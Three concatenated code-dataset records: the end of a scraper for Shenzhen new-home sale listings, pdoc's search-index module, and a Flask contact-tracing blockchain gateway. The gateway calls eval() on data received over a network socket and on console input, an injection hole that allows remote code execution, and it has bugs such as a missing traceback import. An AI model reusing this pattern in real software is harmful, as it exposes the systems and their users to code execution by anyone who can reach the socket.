self.building_file.split(\".\")[0]\n #csv转换为excel\n self.csv_to_excel_pd(f\"{csv_dir}{self.building_file}\",f\"{excel_dir}{name}{excel_suffix}\")\n #excel去掉无用列,并计算总价\n self.excel_to_dataFrame(f\"{excel_dir}{name}{excel_suffix}\",f\"{dataframe_dir}{name}{excel_suffix}\")\n\n def getBuildingName(self,url):\n html = self.getHouseHtml(url)\n print(html)\n tree = etree.HTML(html, parser=etree.HTMLParser(encoding='utf-8'))\n name = tree.xpath('.//table[@class=\"table ta-c table2 table-white\"][1]/tr[1]/td[2]/text()')\n building_name = \"\".join(name).replace(u'\\r\\n','').strip()\n \n query = dict(urllib.parse.parse_qsl(urllib.parse.urlsplit(url).query))\n building_name = building_name+\"_\"+query['id']\n self.building_file = f'{building_name}.csv'\n\n #根据url 获取楼栋url\n def getBuilding(self,url):\n html = self.getHouseHtml(url)\n print(html)\n tree = etree.HTML(html, parser=etree.HTMLParser(encoding='utf-8'))\n building =[]\n nodes = tree.xpath('.//table[@class=\"table ta-c table2 table-white\"]/tr/td/a/@href')\n for node in nodes:\n if len(node) != 0:\n building.append(self.detailUrl+node)\n return building\n\n #获取每栋的座号url\n def getBranch(self,url):\n html = self.getHouseHtml(url)\n print(html)\n tree = etree.HTML(html, parser=etree.HTMLParser(encoding='utf-8'))\n branchs =[]\n nodes = tree.xpath('.//div[@id=\"divShowBranch\"]')\n for node in nodes:\n node1s = node.xpath('./a/@href')\n if len(node1s) != 0:\n for branch in node1s:\n branchs.append(self.detailUrl+branch)\n return branchs\n\n\n #获取html txt\n def getHouseHtml(self,url):\n html = requests.get(url)\n text = html.text\n return text\n\n #解析房屋url数据\n def parseHouse(self,url):\n html = self.getHouseHtml(url)\n print(html)\n tree = etree.HTML(html, parser=etree.HTMLParser(encoding='utf-8'))\n nodes = tree.xpath('//div[@id=\"divShowList\"]/tr')\n for node in nodes:\n # print node\n node1s = node.xpath('.//div/a')\n for node1 in node1s:\n # print node1\n value = {}\n louceng = node1.xpath('./../preceding-sibling::div[1]/text()')\n detail = node1.xpath('./@href')\n value[\"louceng\"] = \"\".join(louceng)\n value[\"detail\"] = \"\".join(detail)\n if len(value[\"detail\"]) != 0:\n value[\"detail\"] = detailUrl + value[\"detail\"]\n print(value[\"detail\"])\n text = self.getHouseHtml(value[\"detail\"])\n detail = value[\"louceng\"]+self.getHouseDetail(text) + '\\n'\n self.file.write(detail.encode('utf-8').decode('utf-8'))\n\n def getHouseDetail(self,text):\n tree = etree.HTML(text, parser=etree.HTMLParser(encoding='utf-8'))\n nodes = tree.xpath('//tr')\n detail = ''\n for node in nodes:\n node1s = node.xpath('./td')\n value = {}\n for node1 in node1s:\n content = node1.xpath('./text()')\n tt = \"\".join(content)\n tt = tt.replace(u'\\r\\n', '').strip()\n detail = detail + \",\" + tt\n detail = detail.replace(u'\\r\\n', '')\n detail = detail.replace(u'\\a', '')\n return detail\n\n #利用pandas将csv转换为excel文件\n def csv_to_excel_pd(self,src_file,dst_file):\n csv = pd.read_csv(src_file, encoding='utf-8')\n csv.to_excel(dst_file, sheet_name='data')\n\n #将csv目录的csv文件转换为excel文件\n def csv_to_excel_pd_dir(self):\n csv_dir = ''\n excel_dir = ''\n dataframe_dir = ''\n if (csv_dir == ''):\n csv_dir = \"..\\\\szhouse\\\\\"\n if (excel_dir == ''):\n excel_dir = \"..\\\\szhouse_excel\\\\\"\n if (dataframe_dir == ''):\n dataframe_dir = \"..\\\\szhouse_excel_1\\\\\"\n all_scv_file = []\n all_file = os.listdir(csv_dir)\n for filename in all_file:\n if \".csv\" in filename:\n all_scv_file.append(filename)\n all_scv_file.sort()\n i = 0\n csv_file_num = len(all_scv_file)\n print(f\"当前共有{csv_file_num}个csv文件需要转换,即将进行处理请稍等...\")\n # 此层for循环是逐个csv文件进行处理\n for csv_file_name in all_scv_file:\n #self.csv_to_excel_pd(csv_file_name,)\n name = csv_file_name.split(\".\")[0]\n excel_suffix = f\".xlsx\"\n input_file_csv_path = f\"{csv_dir}{csv_file_name}\"\n out_file_excel_name = f\"{excel_dir}{name}{excel_suffix}\"\n dataframe_file_excel_name = f\"{dataframe_dir}{name}{excel_suffix}\"\n self.csv_to_excel_pd(input_file_csv_path,out_file_excel_name)\n self.excel_to_dataFrame(out_file_excel_name,dataframe_file_excel_name)\n\n def excel_to_dataFrame(self,src_file,dst_file):\n df = pd.DataFrame(pd.read_excel(src_file))\n #print(df)\n df.columns = list('abcdefghigklmnopqrstuvwxyz12')\n #取有用的列\n df1 = df.iloc[:,lambda df:[3,5,7,9,11,13,15,17,19,21]]\n df1.columns = [f\"项目楼栋情况\",f\"座号\",f\"合同号\",f\"拟售价格(元/平方米)\",f\"楼层\",f\"房号\",f\"用途\",f\"建筑面积(平方米)\",f\"户内面积(平方米)\",f\"分摊面积(平方米)\"]\n print(df1)\n #拟售价格去掉单位\n df1[\"拟售价格(元/平方米)\"] = df1[\"拟售价格(元/平方米)\"].str.replace(\"元/平方米\",\"\")\n df1[\"拟售价格(元/平方米)\"] = df1[\"拟售价格(元/平方米)\"].str.replace(\"按建筑面积计\",\"\")\n df1[\"拟售价格(元/平方米)\"] = df1[\"拟售价格(元/平方米)\"].str.replace(\"(\",\"\")\n df1[\"拟售价格(元/平方米)\"] = df1[\"拟售价格(元/平方米)\"].str.replace(\")\",\"\")\n #已售出的价格替换成0\n df1[\"拟售价格(元/平方米)\"] = df1[\"拟售价格(元/平方米)\"].str.replace(\"--\",\"0\")\n #面积全部去掉单位\n df1[\"建筑面积(平方米)\"] = df1[\"建筑面积(平方米)\"].str.replace(\"平方米\",\"\")\n df1[\"户内面积(平方米)\"] = df1[\"户内面积(平方米)\"].str.replace(\"平方米\",\"\")\n df1[\"分摊面积(平方米)\"] = df1[\"分摊面积(平方米)\"].str.replace(\"平方米\",\"\")\n #计算总价\n df1[\"总价(元)\"] = df1.apply(lambda x: round(float(x['拟售价格(元/平方米)']) * float(x['建筑面积(平方米)']),2), axis=1)\n df1[\"总价(万元)\"] = df1.apply(lambda x: round(float(x['拟售价格(元/平方米)']) * float(x['建筑面积(平方米)'])/10000,2), axis=1)\n df1[\"总价*98折(万元)\"] = df1.apply(lambda x: round(float(x['拟售价格(元/平方米)']) * float(x['建筑面积(平方米)'])*0.98/10000,2), axis=1)\n df1[\"使用率\"] = df1.apply(lambda x:'{:.2%}'.format(float(x['户内面积(平方米)'])/float(x['建筑面积(平方米)'])),axis=1)\n print(df1)\n df1.to_excel(dst_file)\n\n#此处从http://zjj.sz.gov.cn/ris/bol/szfdc/index.aspx 中查找到要爬取的楼盘地址。\nchannels = [\"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43133\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43093\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43194\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43233\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43275\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43373\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43393\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43713\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43393\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43373\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43275\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43233\"]\nchannels2 = [\"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43773\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=43793\"]\nchannels3=[\"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=38393\"]\n\nchannels4=[\"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=26087\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=39878\"]\n\nchannels5=[\"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=44113\"]\nchannels6=[\"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=44593\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=44753\"]\n \nchannels7=[ \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50753\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50754\"]\n\nchannels8=[\"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50093\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50034\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=49994\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50134\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50193\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50233\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50313\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50353\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50373\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50453\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50535\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50553\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=50717\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=49038\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=48974\",\n \"http://zjj.sz.gov.cn/ris/bol/szfdc/projectdetail.aspx?id=48914\"]\n\nif __name__ == '__main__':\n for channel in channels7:\n house = HouseToTxt()\n house.parseBuilding(channel)\n #house.csv_to_excel_pd_dir()\n #house.parseBuilding(dehongtianxia)\n #house.parseBuilding(furunleting)\n","sub_path":"sz_house_new.py","file_name":"sz_house_new.py","file_ext":"py","file_size_in_byte":12208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"132235199","text":"\"\"\"\npdoc has a search box which allows users to quickly find relevant parts in the documentation.\nThis feature is implemented entirely client-side so that pdoc can still be hosted statically,\nand works without any third-party services in a privacy-preserving way. When a user focuses the\nsearch box for the first time, pdoc will fetch the search index (`search.js`) and use that to\nanswer all upcoming queries.\n\n##### Search Coverage\n\nThe search functionality covers all documented elements and their docstrings.\nYou may find documentation objects using their name, arguments, or type annotations; the source code is not considered.\n\n##### Search Performance\n\npdoc uses [Elasticlunr.js](https://github.com/weixsong/elasticlunr.js) to implement search. To improve end user\nperformance, pdoc will attempt to precompile the search index when building the documentation. This only works if\n`nodejs` is available, and pdoc gracefully falls back to client-side index building if this is not the case.\n\nIf your search index reaches a size where compilation times are meaningful and `nodejs` cannot be invoked,\npdoc will let you know and print a notice when building your documentation. In this case it should be enough to install\na recent version of [Node.js](https://nodejs.org/) on your system and make a `nodejs` or `node` available on your PATH.\nThere are no other additional dependencies. pdoc only uses `node` to interpret a local JS file, it does not download any\nadditional packages.\n\nYou can test if your search index is precompiled by clicking the search box (so that the search index is fetched) and\nthen checking your browser's developer console.\n\n##### Search Index Size\n\nThe search index can be relatively large as it includes all docstrings. For larger projects, you should make sure that\nyou have [HTTP compression](https://en.wikipedia.org/wiki/HTTP_compression) and caching enabled. `search.js` usually\ncompresses to about 10% of its original size. For example, pdoc's own precompiled search index compresses from 312kB\nto 27kB.\n\n##### Disabling Search\n\nIf you wish to disable the search functionality, you can pass `--no-search` when invoking pdoc.\n\"\"\"\nfrom __future__ import annotations\n\nfrom collections.abc import Callable\nfrom collections.abc import Mapping\nimport html\nimport json\nfrom pathlib import Path\nimport shutil\nimport subprocess\nimport textwrap\n\nimport pdoc.doc\nfrom pdoc.render_helpers import format_signature\nfrom pdoc.render_helpers import to_html\nfrom pdoc.render_helpers import to_markdown\n\n\ndef make_index(\n all_modules: Mapping[str, pdoc.doc.Module],\n is_public: Callable[[pdoc.doc.Doc], bool],\n default_docformat: str,\n) -> list[dict]:\n \"\"\"\n This method compiles all currently documented modules into a pile of documentation JSON objects,\n which can then be ingested by Elasticlunr.js.\n \"\"\"\n\n documents = []\n for modname, module in all_modules.items():\n\n def make_item(doc: pdoc.doc.Doc, **kwargs) -> dict[str, str]:\n # TODO: We could be extra fancy here and split `doc.docstring` by toc sections.\n ret = {\n \"fullname\": doc.fullname,\n \"modulename\": doc.modulename,\n \"qualname\": doc.qualname,\n \"kind\": doc.kind,\n \"doc\": to_html(to_markdown(doc.docstring, module, default_docformat)),\n **kwargs,\n }\n return {k: v for k, v in ret.items() if v}\n\n # TODO: Instead of building our own JSON objects here we could also use module.html.jinja2's member()\n # implementation to render HTML for each documentation object and then implement a elasticlunr tokenizer that\n # removes HTML. It wouldn't be great for search index size, but the rendered search entries would be fully\n # consistent.\n def make_index(mod: pdoc.doc.Namespace, **extra):\n if not is_public(mod):\n return\n yield make_item(mod, **extra)\n for m in mod.own_members:\n if isinstance(m, pdoc.doc.Variable) and is_public(m):\n yield make_item(\n m,\n annotation=html.escape(m.annotation_str),\n default_value=html.escape(m.default_value_str),\n )\n elif isinstance(m, pdoc.doc.Function) and is_public(m):\n if m.name == \"__init__\":\n yield make_item(\n m,\n signature=format_signature(m.signature_without_self, False),\n )\n else:\n yield make_item(\n m,\n signature=format_signature(m.signature, True),\n funcdef=m.funcdef,\n )\n elif isinstance(m, pdoc.doc.Class):\n yield from make_index(\n m,\n bases=\", \".join(x[2] for x in m.bases),\n )\n else:\n pass\n\n documents.extend(make_index(module))\n\n return documents\n\n\ndef precompile_index(documents: list[dict], compile_js: Path) -> str:\n \"\"\"\n This method tries to precompile the Elasticlunr.js search index by invoking `nodejs` or `node`.\n If that fails, an unprocessed index will be returned (which will be compiled locally on the client side).\n If this happens and the index is rather large (>3MB), a warning with precompile instructions is printed.\n\n We currently require nodejs, but we'd welcome PRs that support other JavaScript runtimes or\n – even better – a Python-based search index generation similar to\n [elasticlunr-rs](https://github.com/mattico/elasticlunr-rs) that could be shipped as part of pdoc.\n \"\"\"\n raw = json.dumps(documents)\n try:\n if shutil.which(\"nodejs\"):\n executable = \"nodejs\"\n else:\n executable = \"node\"\n out = subprocess.check_output(\n [executable, compile_js],\n input=raw.encode(),\n cwd=Path(__file__).parent / \"templates\",\n stderr=subprocess.STDOUT,\n )\n index = json.loads(out)\n index[\"_isPrebuiltIndex\"] = True\n except Exception as e:\n if len(raw) > 3 * 1024 * 1024:\n print(\n f\"pdoc failed to precompile the search index: {e}\\n\"\n f\"Search will work, but may be slower. \"\n f\"This error may only show up now because your index has reached a certain size. \"\n f\"See https://pdoc.dev/docs/pdoc/search.html for details.\"\n )\n if isinstance(e, subprocess.CalledProcessError):\n print(f\"{' Node.js Output ':=^80}\")\n print(\n textwrap.indent(e.output.decode(\"utf8\", \"replace\"), \" \").rstrip()\n )\n print(\"=\" * 80)\n return raw\n else:\n return json.dumps(index)\n","sub_path":"pdoc/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":7031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"10072865","text":"from hashlib import sha256\nfrom flask import Flask, jsonify, request\nimport getIp\n\n# import socketserver\nimport threading\nimport requests\nimport json\nimport socket\nimport time\nimport sys\n\n'''\n可以修改的地方:\n1.PORT\n2.registerAddress\n3.listenAddrFromPyGate的port\n'''\n\n# 本机IP地址\nHOST = str(getIp.get_host_ip())\n# 区块链相关端口\nPORT = 8000\nprint(\"IP Address:\", HOST, \"\\n\"+'-'*80)\n\n# 修改风险名单的网站, 腾讯云服务器\nRISKYADRESS = f'http://121.4.89.43:5000/'\n# 默认的注册节点, 可修改为区块链里任意的某个节点\nregisterAddress = \"http://172.19.192.100:8000\"\n# 本机的地址\nmyAddress = \"http://\" + HOST + ':' + str(PORT) + '/'\n\n# 和PyGate相连接的socket\nsocketPyGate = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nsocketPyGate.setblocking(True)\n# PyGate的IP地址+端口号\n\nportToPyGate = int(input(\"Input the port number to PyGate part:\"))\n\nlistenAddrFromPyGate = (HOST, portToPyGate)\nsocketPyGate.bind(listenAddrFromPyGate)\n\n# 内存中的风险名单\nriskyPseudonyms = set()\n\n# 最后收到的来自PyGate的消息, 用于消除重复\nlatestMessage = None\n\n\n# 区块类\nclass Block:\n def __init__(self, index, traces, timestamp, previous_hash, nonce=0):\n self.index = index\n # traces是主要数据\n self.traces = traces\n self.timestamp = timestamp\n self.previous_hash = previous_hash\n self.nonce = nonce\n\n def compute_hash(self):\n \"\"\"\n A function that return the hash of the block contents.\n \"\"\"\n block_string = json.dumps(self.__dict__, sort_keys=True)\n return sha256(block_string.encode()).hexdigest()\n\n\n# 区块链类\nclass Blockchain:\n # difficulty of our PoW algorithm\n difficulty = 2\n\n def __init__(self):\n # 池中的trace, 此项目中池中始终为0\n self.unconfirmed_traces = []\n # block的列表\n self.chain = []\n\n def create_genesis_block(self):\n \"\"\"\n A function to generate genesis block and appends it to\n the chain. The block has index 0, previous_hash as 0, and\n a valid hash.\n \"\"\"\n genesis_block = Block(0, [], 0, \"0\")\n genesis_block.hash = genesis_block.compute_hash()\n self.chain.append(genesis_block)\n\n @property\n def last_block(self):\n return self.chain[-1]\n\n def add_block(self, block, proof):\n \"\"\"\n A function that adds the block to the chain after verification.\n Verification includes:\n * Checking if the proof is valid.\n * The previous_hash referred in the block and the hash of latest block\n in the chain match.\n \"\"\"\n previous_hash = self.last_block.hash\n\n if previous_hash != block.previous_hash:\n return False\n\n if not Blockchain.is_valid_proof(block, proof):\n return False\n\n block.hash = proof\n self.chain.append(block)\n return True\n\n @staticmethod\n def proof_of_work(block):\n \"\"\"\n Function that tries different values of nonce to get a hash\n that satisfies our difficulty criteria.\n \"\"\"\n block.nonce = 0\n\n computed_hash = block.compute_hash()\n while not computed_hash.startswith('0' * Blockchain.difficulty):\n block.nonce += 1\n computed_hash = block.compute_hash()\n\n return computed_hash\n\n def add_new_trace(self, trace):\n self.unconfirmed_traces.append(trace)\n\n # 检查块的合法性\n @classmethod\n def is_valid_proof(cls, block, block_hash):\n \"\"\"\n Check if block_hash is valid hash of block and satisfies\n the difficulty criteria.\n \"\"\"\n return (block_hash.startswith('0' * Blockchain.difficulty) and\n block_hash == block.compute_hash())\n\n # 检查区块链的合法性\n @classmethod\n def check_chain_validity(cls, chain):\n result = True\n previous_hash = \"0\"\n\n for block in chain:\n block_hash = block.hash\n # remove the hash field to recompute the hash again\n # using `compute_hash` method.\n delattr(block, \"hash\")\n\n if not cls.is_valid_proof(block, block_hash) or \\\n previous_hash != block.previous_hash:\n result = False\n break\n\n block.hash, previous_hash = block_hash, block_hash\n\n return result\n\n def mine(self):\n \"\"\"\n This function serves as an interface to add the pending\n traces to the blockchain by adding them to the block\n and figuring out Proof Of Work.\n \"\"\"\n if not self.unconfirmed_traces:\n return False\n\n last_block = self.last_block\n\n new_block = Block(index=last_block.index + 1,\n traces=self.unconfirmed_traces,\n timestamp=time.time(),\n previous_hash=last_block.hash)\n\n proof = self.proof_of_work(new_block)\n self.add_block(new_block, proof)\n\n self.unconfirmed_traces = []\n\n return True\n\n\napp = Flask(__name__)\n\n# the node's copy of blockchain\nblockchain = Blockchain()\nblockchain.create_genesis_block()\n\n'''\n# operable\n# /new_trace', POST, json, [\"pseudonym\", \"traceTime\", \"location\"]\n# /chain, GET\n# /mine, GET\n# /register_with, POST, json, [\"node_address\"]\n\n# automatically called\n# /register_node, POST, json, [\"node_address\"]\n# /add_block, POST, json, [\"index\", \"traces\", \"timestamp\", \"previous_hash\", \"nonce\"]\n# /pending_tx\n'''\n\n\n\n\n# the address to other participating members of the network\npeers = set()\n\n\n# endpoint to submit a new trace. This will be used by\n# our application to add new data (posts) to the blockchain\n@app.route('/new_trace', methods=['POST'])\ndef new_trace():\n traceData = request.get_json()\n # 一条trace所需的参数\n required_fields = [\"pseudonym\", \"traceTime\", \"location\"]\n\n # 检查是否包含全部所需参数\n for field in required_fields:\n if not traceData.get(field):\n return \"Invalid trace data\", 404\n\n blockchain.add_new_trace(traceData)\n mine_unconfirmed_traces()\n\n return \"Success\", 201\n\n\n# endpoint to return the node's copy of the chain.\n# Our application will be using this endpoint to query\n# all the posts to display.\n@app.route('/chain', methods=['GET'])\ndef get_chain():\n chain_data = []\n for block in blockchain.chain:\n chain_data.append(block.__dict__)\n return json.dumps({\"length\": len(chain_data),\n \"chain\": chain_data,\n \"peers\": list(peers)})\n\n\n# endpoint to request the node to mine the unconfirmed\n# traces (if any). We'll be using it to initiate\n# a command to mine from our application itself.\n@app.route('/mine', methods=['GET'])\ndef mine_unconfirmed_traces():\n result = blockchain.mine()\n if not result:\n return \"No traces to mine\"\n else:\n # Making sure we have the longest chain before announcing to the network\n chain_length = len(blockchain.chain)\n consensus()\n if chain_length == len(blockchain.chain):\n # announce the recently mined block to the network\n announce_new_block(blockchain.last_block)\n return \"Block #{} is mined.\".format(blockchain.last_block.index)\n\n\n# 已存在的节点收到新创建的节点的请求, 并返回区块链、节点链表给该新节点,\n# 用来初始化或者(离线后重新上线)同步.\n# endpoint to add new peers to the network.\n@app.route('/register_node', methods=['POST'])\ndef register_new_peers():\n # 接收别人的地址\n node_address = request.get_json()[\"node_address\"]\n if not node_address:\n return \"Invalid data\", 400\n\n # Add the node to the peer list\n peers.add(node_address)\n\n # Return the consensus blockchain to the newly registered node\n # so that he can sync\n return get_chain()\n\n\n# 新创建的/离线后重新上线的节点向已存在的节点发送地址信息\n@app.route('/register_with', methods=['POST'])\ndef register_with_existing_node():\n \"\"\"\n Internally calls the `register_node` endpoint to\n register current node with the node specified in the\n request, and sync the blockchain as well as peer data.\n \"\"\"\n # 用户输入\n node_address = request.get_json()[\"node_address\"]\n if not node_address:\n return \"Invalid data\", 400\n\n # 将自己的地址信息发给node_address\n data = {\"node_address\": request.host_url}\n headers = {'Content-Type': \"application/json\"}\n\n # Make a request to register with remote node and obtain information\n response = requests.post(node_address + \"/register_node\",\n data=json.dumps(data), headers=headers)\n\n # 收到已有节点回复的区块链、peers\n if response.status_code == 200:\n global blockchain\n global peers\n # update chain and the peers\n chain_dump = response.json()['chain']\n blockchain = create_chain_from_dump(chain_dump)\n peers.update(response.json()['peers'])\n return \"Registration successful\", 200\n else:\n # if something goes wrong, pass it on to the API response\n return response.content, response.status_code\n\n\n# 根据收到的json信息创建blockchain对象\ndef create_chain_from_dump(chain_dump):\n generated_blockchain = Blockchain()\n generated_blockchain.create_genesis_block()\n for idx, block_data in enumerate(chain_dump):\n if idx == 0:\n continue # skip genesis block\n block = Block(block_data[\"index\"],\n block_data[\"traces\"],\n block_data[\"timestamp\"],\n block_data[\"previous_hash\"],\n block_data[\"nonce\"])\n proof = block_data['hash']\n added = generated_blockchain.add_block(block, proof)\n if not added:\n raise Exception(\"The chain dump is tampered!!\")\n return generated_blockchain\n\n\n# endpoint to add a block mined by someone else to\n# the node's chain. The block is first verified by the node\n# and then added to the chain.\n@app.route('/add_block', methods=['POST'])\ndef verify_and_add_block():\n block_data = request.get_json()\n block = Block(block_data[\"index\"],\n block_data[\"traces\"],\n block_data[\"timestamp\"],\n block_data[\"previous_hash\"],\n block_data[\"nonce\"])\n\n proof = block_data['hash']\n # add_block 里有验证\n added = blockchain.add_block(block, proof)\n\n if not added:\n return \"The block was discarded by the node\", 400\n\n return \"Block added to the chain\", 201\n\n\n# endpoint to query unconfirmed traces\n@app.route('/pending_tx')\ndef get_pending_tx():\n return json.dumps(blockchain.unconfirmed_traces)\n\n\n# 共识算法, 确定最长链, 必须使单个节点创建区块的速度能力小于所有节点产生区块的速度, 防篡改\ndef consensus():\n \"\"\"\n Our naive consnsus algorithm. If a longer valid chain is\n found, our chain is replaced with it.\n \"\"\"\n global blockchain\n\n longest_chain = None\n current_len = len(blockchain.chain)\n\n for node in peers:\n response = requests.get('{}chain'.format(node)) # address/chain\n length = response.json()['length']\n chain = response.json()['chain']\n if length > current_len and blockchain.check_chain_validity(chain):\n current_len = length\n longest_chain = chain\n\n if longest_chain:\n blockchain = longest_chain\n return True\n\n return False\n\n\n# 通知其他节点本节点创建了新区块\ndef announce_new_block(block):\n \"\"\"\n A function to announce to the network once a block has been mined.\n Other blocks can simply verify the proof of work and add it to their\n respective chains.\n \"\"\"\n for peer in peers:\n url = \"{}add_block\".format(peer)\n headers = {'Content-Type': \"application/json\"}\n requests.post(url,\n data=json.dumps(block.__dict__, sort_keys=True),\n headers=headers)\n\n\n\n'''\n和Flask框架无关的的函数\n'''\n\n# 刷新本地的风险匿名名单\ndef renewRiskyPseudonymes():\n global RISKYADRESS\n global riskyPseudonyms\n\n # 访问专门的网站, 云服务器\n response = requests.get(RISKYADRESS + f'risky/names')\n\n # 成功获取名单数据\n if response.status_code == 200:\n riskyPseudonymList = response.json()['riskyPseudonyms']\n riskyPseudonyms = set(riskyPseudonymList)\n else:\n return False, \"Error in renewRiskyPseudonymes\"\n\n return True, \"Successfully get risky pseudonyms\"\n\n\n# 以字典组成的列表形式返回区块链数据(便于输出)\ndef chainData():\n chain_data = []\n for block in blockchain.chain:\n chain_data.append(block.__dict__)\n return chain_data\n\n\n# 根据name、time、location创建新的trace\ndef newTrace(name, time, loca):\n # 检查数据类型\n if not isinstance(name, str) or not isinstance(time, int) or not isinstance(loca, str):\n return False, 'Wrong data type'\n\n data = {'pseudonym':name, 'traceTime':time, 'location':loca}\n\n try:\n blockchain.add_new_trace(data)\n mine_unconfirmed_traces()\n except BaseException as e:\n traceback.print_exc()\n return False, \"newTrace() failed to add new trace\"\n\n return True, \"Successfully added new trace\"\n\n\n# 注册到区块链, 即调用自己的register_with函数\ndef register():\n global registerAddress\n global myAddress\n data = {'node_address': registerAddress}\n response = requests.post(myAddress + f'register_with', json=data)\n if response.status_code == 200:\n return True, \"Register successfully\"\n else:\n return False, \"Register failed \" + str(response.status_code)\n\n\n# 命令行操作进程(后台使用)\ndef operation_thread():\n global connectedAddrList\n while True:\n try:\n global ContactTracingBlockchain\n print(\"Orders: register, peers, chain, trace, risky, quit\")\n order = input(\"Input order: \\n\")\n if order == \"trace\":\n values = input(\"Name, time, location in list:\")\n values = eval(values)\n print(newTrace(values[0], values[1], values[2])[1])\n elif order == \"chain\":\n print(chainData())\n elif order == \"risky\":\n renewRiskyPseudonymes()\n print(riskyPseudonyms)\n elif order == \"register\":\n print(register()[1])\n elif order == \"peers\":\n print(peers)\n elif order == \"quit\":\n return\n else:\n print(\"Valid order\")\n print(\"\\n\"+'-'*80)\n except BaseException as e:\n traceback.print_exc()\n continue\n\n\n# 和PyGate通信的进程\ndef recvFromPyGatePart():\n global latestMessage\n socketPyGate.listen(5)\n # 建立客户端连接\n connection, addr = socketPyGate.accept()\n print(\"\\nConnected successfully, PyGate part's address:\", addr, \"\\n\"+'-'*80)\n # 一旦建立连接就立刻发送风险匿名名单给PyGate端\n connection.send(bytes(str(list(riskyPseudonyms)), 'utf-8'))\n while True:\n try:\n data = connection.recv(1024)\n # 查重, 避免因为设备原因连续收到同一条trace\n if data == latestMessage:\n continue\n else:\n latestMessage = data\n # if not self.data:\n # continue\n data = eval(str(data, encoding='utf-8'))\n print(data)\n print(\"receive from fixed devices:\\n\", data)\n # 接收PyGate发来的trace信息, 创建trace、上传到区块链上\n result = newTrace(data['pseudonym'], data['timestamp'], data['location'])\n # print(result[0])\n print('-'*80)\n # 更新风险匿名名单\n renewRiskyPseudonymes()\n # 将风险匿名名单发送给PyGate端\n connection.send(bytes(str(list(riskyPseudonyms)), 'utf-8'))\n continue\n except BaseException as e:\n traceback.print_exc()\n continue\n connection.close()\n\n\n# 每分钟自动保存区块链信息到本地文件, 防止数据丢失\ndef autoSave():\n global blockchain\n # 获取当前任务的文件的路径\n workPath = sys.path[0]\n print(workPath, \"\\n\"+'-'*80)\n while True:\n try:\n f = open(workPath + '/blockchain.txt', 'w')\n f.write(str(chainData()))\n f.close()\n # 每分钟写入一次\n time.sleep(60)\n except BaseException as be:\n print(be, \"in autoSave function\")\n\n\n\n\n\n\nif __name__ == '__main__':\n\n renewRiskyPseudonymes()\n # 区块链数据自动保存线程\n thread_autosave = threading.Thread(target=autoSave)\n thread_autosave.start()\n # 与PyGate通信的线程\n thread_pygate = threading.Thread(target=recvFromPyGatePart)\n thread_pygate.start()\n # 命令行操作线程\n thread_ope = threading.Thread(target=operation_thread)\n thread_ope.start()\n\n\n from argparse import ArgumentParser\n\n parser = ArgumentParser()\n parser.add_argument('-p', '--port', default=PORT, type=int, help='port to listen on')\n args = parser.parse_args()\n port = args.port\n\n app.run(host=HOST, port=port)\n\n '''\n server = socketserver.ThreadingTCPServer(listenAddrFromPyGate, HandlerForPyGate) # 多线程交互\n server.serve_forever()\n '''\n","sub_path":"RegionServerPC1/gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":17594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
